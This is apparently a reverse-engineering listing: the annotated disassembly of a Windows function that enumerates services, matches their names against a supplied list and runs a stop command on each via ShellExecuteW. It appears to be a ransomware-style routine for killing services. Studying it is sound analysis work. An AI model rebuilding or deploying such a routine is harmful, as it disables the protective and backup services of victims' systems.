Function at 0x140007830
Capabilities:
Allocate or change rwx memory
Create process on windows
Enumerate services

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x318
mov dword [rsp + 0xd0], 1
mov dword [rsp + 0x90], 0x30
mov r8d, 4
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov qword [rsp + 0xc0], rax
cmp qword [rsp + 0xc0], 0
jne 0x140007882
xor eax, eax
jmp 0x140007ec7
mov dword [rsp + 0x68], 0
jmp 0x140007896
mov eax, dword [rsp + 0x68]
inc eax
mov dword [rsp + 0x68], eax
cmp dword [rsp + 0x68], 1
jae 0x140007ec2
mov dword [rsp + 0x70], 0
mov dword [rsp + 0x6c], 0
mov dword [rsp + 0x74], 0
mov dword [rsp + 0x78], 0
movsxd rax, dword [rsp + 0x68]
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x38], rcx
lea rcx, [rsp + 0x74]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x6c]
mov qword [rsp + 0x28], rcx
mov ecx, dword [rsp + 0x70]
mov dword [rsp + 0x20], ecx
xor r9d, r9d
mov r8d, 1
mov edx, dword [rsp + rax*4 + 0x90]
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.ADVAPI32.dll_EnumServicesStatusW]
cmp dword [rsp + 0x6c], 0
ja 0x140007918
xor eax, eax
jmp 0x140007ec7
mov eax, dword [rsp + 0x6c]
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x70]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x14000794e
xor eax, eax
jmp 0x140007ec7
mov eax, dword [rsp + 0x70]
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.140001e60
mov dword [rsp + 0x6c], 0
mov dword [rsp + 0x74], 0
mov dword [rsp + 0x78], 0
movsxd rax, dword [rsp + 0x68]
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x38], rcx
lea rcx, [rsp + 0x74]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x6c]
mov qword [rsp + 0x28], rcx
mov ecx, dword [rsp + 0x70]
mov dword [rsp + 0x20], ecx
mov r9, qword [rsp + 0x60]
mov r8d, 1
mov edx, dword [rsp + rax*4 + 0x90]
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.ADVAPI32.dll_EnumServicesStatusW]
mov dword [rsp + 0xb8], eax
cmp dword [rsp + 0xb8], 0
jne 0x1400079ef
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x140007ec7
mov dword [rsp + 0x44], 0
jmp 0x140007a03
mov eax, dword [rsp + 0x44]
inc eax
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x74]
cmp dword [rsp + 0x44], eax
jae 0x140007aeb
mov dword [rsp + 0x50], 0
jmp 0x140007a25
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
movsxd rax, dword [rsp + 0x50]
movsxd rcx, dword [rsp + 0x44]
imul rcx, rcx, 0x30
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rdx + rcx]
mov qword [rsp + 0xd8], rcx
mov qword [rsp + 0x98], 0xffffffffffffffff
inc qword [rsp + 0x98]
mov rcx, qword [rsp + 0xd8]
mov rdx, qword [rsp + 0x98]
cmp word [rcx + rdx*2], 0
jne 0x140007a50
mov rcx, qword [rsp + 0x98]
cmp rax, rcx
jae 0x140007ae6
movsxd rax, dword [rsp + 0x44]
imul rax, rax, 0x30
movsxd rcx, dword [rsp + 0x50]
mov rdx, qword [rsp + 0x60]
mov rax, qword [rdx + rax]
movzx eax, word [rax + rcx*2]
mov word [rsp + 0x40], ax
movsxd rax, dword [rsp + 0x44]
imul rax, rax, 0x30
movsxd rcx, dword [rsp + 0x50]
mov rdx, qword [rsp + 0x60]
mov rax, qword [rdx + rax]
movzx ecx, word [rax + rcx*2]
call fcn.140009be4
mov word [rsp + 0x40], ax
movsxd rax, dword [rsp + 0x44]
imul rax, rax, 0x30
movsxd rcx, dword [rsp + 0x50]
mov rdx, qword [rsp + 0x60]
mov rax, qword [rdx + rax]
movzx edx, word [rsp + 0x40]
mov word [rax + rcx*2], dx
jmp 0x140007a1b
jmp 0x1400079f9
mov dword [rsp + 0x48], 0
jmp 0x140007aff
mov eax, dword [rsp + 0x48]
inc eax
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x338]
cmp dword [rsp + 0x48], eax
jge 0x140007c0e
mov dword [rsp + 0x54], 0
jmp 0x140007b24
mov eax, dword [rsp + 0x54]
inc eax
mov dword [rsp + 0x54], eax
movsxd rax, dword [rsp + 0x54]
movsxd rcx, dword [rsp + 0x48]
imul rcx, rcx, 0x208
mov rdx, qword [rsp + 0x330]
add rdx, rcx
mov rcx, rdx
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xa0], 0xffffffffffffffff
inc qword [rsp + 0xa0]
mov rcx, qword [rsp + 0xe0]
mov rdx, qword [rsp + 0xa0]
cmp word [rcx + rdx*2], 0
jne 0x140007b57
mov rcx, qword [rsp + 0xa0]
cmp rax, rcx
jae 0x140007c09
movsxd rax, dword [rsp + 0x48]
imul rax, rax, 0x208
mov rcx, qword [rsp + 0x330]
add rcx, rax
mov rax, rcx
movsxd rcx, dword [rsp + 0x54]
movzx eax, word [rax + rcx*2]
mov word [rsp + 0x40], ax
movsxd rax, dword [rsp + 0x48]
imul rax, rax, 0x208
mov rcx, qword [rsp + 0x330]
add rcx, rax
mov rax, rcx
movsxd rcx, dword [rsp + 0x54]
movzx ecx, word [rax + rcx*2]
call fcn.140009be4
mov word [rsp + 0x40], ax
movsxd rax, dword [rsp + 0x48]
imul rax, rax, 0x208
mov rcx, qword [rsp + 0x330]
add rcx, rax
mov rax, rcx
movsxd rcx, dword [rsp + 0x54]
movzx edx, word [rsp + 0x40]
mov word [rax + rcx*2], dx
jmp 0x140007b1a
jmp 0x140007af5
mov dword [rsp + 0x58], 0
jmp 0x140007c22
mov eax, dword [rsp + 0x58]
inc eax
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x338]
cmp dword [rsp + 0x58], eax
jge 0x140007eaa
mov qword [rsp + 0xc8], 0
mov dword [rsp + 0x4c], 0
jmp 0x140007c53
mov eax, dword [rsp + 0x4c]
inc eax
mov dword [rsp + 0x4c], eax
mov eax, dword [rsp + 0x74]
cmp dword [rsp + 0x4c], eax
jae 0x140007ea5
movsxd rax, dword [rsp + 0x4c]
imul rax, rax, 0x30
mov rcx, qword [rsp + 0x60]
mov rax, qword [rcx + rax]
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0xa8], 0xffffffffffffffff
inc qword [rsp + 0xa8]
mov rax, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0xa8]
cmp word [rax + rcx*2], 0
jne 0x140007c87
mov rax, qword [rsp + 0xa8]
movsxd rcx, dword [rsp + 0x58]
imul rcx, rcx, 0x208
mov rdx, qword [rsp + 0x330]
add rdx, rcx
mov rcx, rdx
mov qword [rsp + 0xf0], rcx
mov qword [rsp + 0xb0], 0xffffffffffffffff
inc qword [rsp + 0xb0]
mov rcx, qword [rsp + 0xf0]
mov rdx, qword [rsp + 0xb0]
cmp word [rcx + rdx*2], 0
jne 0x140007cdc
mov rcx, qword [rsp + 0xb0]
cmp rax, rcx
jb 0x140007ea0
movsxd rax, dword [rsp + 0x58]
imul rax, rax, 0x208
mov rcx, qword [rsp + 0x330]
add rcx, rax
mov rax, rcx
movsxd rcx, dword [rsp + 0x4c]
imul rcx, rcx, 0x30
mov rdx, rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + rcx]
call fcn.1400011e0
mov qword [rsp + 0xc8], rax
cmp qword [rsp + 0xc8], 0
jne 0x140007da5
movsxd rax, dword [rsp + 0x58]
imul rax, rax, 0x208
mov rcx, qword [rsp + 0x330]
add rcx, rax
mov rax, rcx
movsxd rcx, dword [rsp + 0x4c]
imul rcx, rcx, 0x30
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rdx + rcx]
sub rax, rcx
movzx edx, word [rcx]
cmp dx, word [rcx + rax]
jne 0x140007d98
add rcx, 2
test dx, dx
jne 0x140007d82
xor eax, eax
jmp 0x140007d9d
sbb eax, eax
or eax, 1
test eax, eax
jne 0x140007ea0
lea rax, [rsp + 0x100]
lea rcx, str.stop__
mov rdi, rax
mov rsi, rcx
mov ecx, 0xe
rep movsb byte [rdi], byte [rsi]
movsxd rax, dword [rsp + 0x4c]
imul rax, rax, 0x30
lea rcx, [rsp + 0x100]
mov qword [rsp + 0x80], rcx
sub qword [rsp + 0x80], 2
add qword [rsp + 0x80], 2
mov rcx, qword [rsp + 0x80]
cmp word [rcx], 0
jne 0x140007de3
mov rcx, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x60]
mov rax, qword [rdx + rax]
xor edx, edx
movzx edi, word [rax + rdx*2]
mov word [rcx + rdx*2], di
inc rdx
test di, di
jne 0x140007e0d
lea rax, [rsp + 0x100]
mov qword [rsp + 0x88], rax
sub qword [rsp + 0x88], 2
add qword [rsp + 0x88], 2
mov rax, qword [rsp + 0x88]
cmp word [rax], 0
jne 0x140007e36
mov rax, qword [rsp + 0x88]
lea rcx, str.___y
mov rdi, rax
mov rsi, rcx
mov ecx, 0xa
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x100]
lea r8, [0x1400205b8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x96
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140007ea5
jmp 0x140007c49
jmp 0x140007c18
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x14000788c
mov eax, 1
add rsp, 0x318
pop rdi
pop rsi
ret